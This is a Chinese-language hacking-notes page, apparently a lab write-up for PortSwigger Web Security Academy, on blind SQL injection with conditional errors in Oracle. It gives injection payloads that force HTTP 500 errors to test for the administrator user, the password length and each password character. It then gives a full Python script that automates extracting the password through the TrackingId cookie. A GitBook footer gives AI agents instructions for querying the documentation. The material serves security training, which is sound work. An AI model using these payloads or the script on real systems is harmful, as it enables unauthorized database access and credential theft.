> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-conditional-errors.md).

# 基于条件错误的盲 SQL 注入

### 带条件错误的盲 SQL 注入

**背景：** ……的值 `TrackingId` cookie 被注入到一个 SQL 查询中。应用不会直接返回结果，而是在 SQL 表达式导致异常时触发 \*\*HTTP 500 错误\*\*（这里 `TO_CHAR(1/0)` 在 Oracle 中）。我们使用这个字符串：如果条件为真 → 返回 500 错误，否则返回 200。基础部分包含一个 `users(username, password)` 表。目标：从 `administrator` 并连接。

#### 技术原理（快速）

* cookie 包含一个表达式：如果条件为真就强制出错，例如（Oracle）：

{% code overflow="wrap" %}

```sql
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```

{% endcode %}

* 如果 `<condition>` 为真 → 请求导致除以零 → 应用返回 `500` → 位 = 1。否则 `200` → 位 = 0。
* 使用 `SUBSTR`/`LENGTH` 以逐个字符提取。

#### 示例载荷（Oracle）

* 验证用户是否存在：

  ```sql
  ' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* 测试长度 = 20：

  ```sql
  ' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* 测试位置 i 上的字符：

  ```sql
  ' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```

(`FROM dual` / 结构可以根据注入到应用中的请求进行调整。）

### 自动化脚本

```python
#!/usr/bin/env python3

import requests
import signal
import sys
import time
from string import ascii_letters, digits

# 优雅处理 Ctrl+C
def def_handler(sig, frame):
    print("/n已中断。正在退出。/n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)

# --- 配置 ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m"   # TrackingId 的合法部分
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50           # 要测试的最大长度
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()"  # 如果你知道字母表，可自行调整

HEADERS = {"User-Agent": "Mozilla/5.0"}

# --- 工具函数 ---
def send_payload(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    try:
        r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
                         timeout=TIMEOUT, allow_redirects=False, verify=True)
        return r.status_code
    except requests.exceptions.RequestException as e:
        print(f"[!] 请求失败：{e}")
        return None

def make_error_payload(condition_sql):
    """
    为 Oracle 构建完整的 TrackingId：
    例如：TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    # 将条件包装在返回管理员一行的子查询中。
    payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
               f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
    return payload

# --- 第 1 步：检测密码长度（可选，但很有用） ---
def detect_length(max_len=MAX_PW_LEN):
    print("[*] 正在检测密码长度...")
    for n in range(1, max_len + 1):
        cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
        payload = make_error_payload(cond)
        code = send_payload(payload)
        if code == 500:
            print(f"[+] 检测到长度：{n}")
            return n
        time.sleep(SLEEP_BETWEEN)
    print("[!] 未检测到 <= max_len 的长度；可考虑增大 max_len")
    return None

# --- 第 2 步：逐字符提取 ---
def extract_password(length=None):
    if length is None:
        length = detect_length()
        if length is None:
            # 备用：尝试各个位置直到失败
            length = MAX_PW_LEN

    password = ""
    print(f"[*] 正在提取（假定长度 = {length}）")
    for pos in range(1, length + 1):
        found = False
        for ch in ALPHABET:
            # SUBSTR(password, pos, 1) = 'ch'
            cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
            payload = make_error_payload(cond)
            code = send_payload(payload)
            if code == 500:
                password += ch
                print(f"[+] pos={pos} -> '{ch}'（当前密码：{password}）")
                found = True
                time.sleep(SLEEP_BETWEEN)
                break
            # 尝试之间短暂停顿
            time.sleep(0.01)
        if not found:
            print(f"[-] 在位置 {pos} 未找到字符 -> 可能已结束。密码：{password}")
            break
    return password

if __name__ == "__main__":
    # 先检测长度，再提取
    detected_len = detect_length(max_len=30)   # 根据环境调整 max_len
    recovered = extract_password(length=detected_len)
    print(f"/n[=] 已恢复的密码（部分/估计）：{recovered}/n")
```

<figure><img src="/files/be801d45804ce3546e452a02951dccc990318521" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-conditional-errors.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
